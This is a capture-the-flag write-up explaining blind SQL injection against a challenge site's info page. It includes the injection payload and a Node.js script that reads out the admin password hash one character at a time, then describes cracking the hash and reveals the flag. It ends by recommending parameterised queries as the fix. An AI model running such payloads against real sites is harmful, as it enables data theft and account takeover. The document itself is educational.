$cat select-error-from-info.mdWebHacknite 2.0
SELECT error FROM info
The info page reacts differently to a true or false condition, so you can ask the database yes-or-no questions and read out the admin password one character at a time.
$man select-error-from-info
What this one teaches:
- Blind SQL injection, where you read data through yes/no answers rather than seeing it directly.
- Pulling out a value character by character with SUBSTRING.
- Cracking a leaked password hash with a lookup site.
$hint --one-at-a-time
Stuck? Open one hint, then go back and try again before reading the next.
Hint 1 of 2show
The info page returns the same fact whether or not your extra condition is true. That difference is a yes/no channel.
Hint 2 of 2show
You can't see the password, but you can ask "is character 1 an 'a'?" and tell from the response. Automate it.
Task description
Petra fixed the earlier bugs on her animal site and added features: an “Info” page with animal facts, and a “Log in” page. Only Petra has an account. The site is still unfinished, but she wanted to share it.
The original was in Croatian; this is my translation.
A yes/no channel
The title says SQL injection, like Searching, but this one is harder. The Info page takes an animal in the address, info.php?zivotinja=Lav (“zivotinja” is animal, “Lav” is lion), and returns a sentence about it.
This time the page doesn’t show us arbitrary data. But we can still add a condition and watch what happens. When we sent this:
info.php?zivotinja=Lav' AND SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1) = 'a
the page returned the normal lion sentence when the condition was true, and nothing when it was false. SUBSTRING(value, 1, 1) takes one character of a value at a given position, so this asks “is the first character of the admin username an ‘a’?” The presence or absence of the lion fact is the answer. This is blind SQL injection: you can’t see the data, but you can ask the database yes/no questions and read the answer off the page’s behaviour.
Reading it out, character by character
One question gives one character, so recovering a whole password means asking a lot of questions. That’s a job for a script. Ours walked each position, tried each character from a set of letters and digits, and kept the one where the lion fact came back:
const axios = require('axios');
const chars = "0123456789abcdefghijklmnoprstuvzxyz";
const q = "Lav' AND SUBSTRING((SELECT password FROM users LIMIT 1), {i}, 1) = '";
let found = "";
for (let i = 1; i < 270; i++) {
let got = false;
for (const c of chars) {
const url = "http://chal.hacknite.hr:9105/info.php?zivotinja=" +
q.replace("{i}", i) + c;
const res = await axios.get(url, { timeout: 8000 });
await new Promise(r => setTimeout(r, 500)); // the rules capped request rate
if (res.data.includes("Lav je životinjska vrsta iz porodice mačaka.")) {
found += c; console.log(found); break;
}
}
if (found.length !== i) break; // nothing matched: we're past the end
}
(The half-second pause between requests was to stay within the competition’s rate limit.)
It pulled out the stored password, which was a hash (a scrambled fingerprint, not the real password). The admin name came out in plain text, admin128723. To turn the hash back into a password we used CrackStation, a site that looks a hash up against huge lists of known ones. It came back as october.
Logging in as that admin showed the flag. The one fix that would have stopped all of this is a parameterised query, which keeps the typed value as data so the AND SUBSTRING(...) can never run.
$cat flag.txt reveal
CTF2021[294217488986]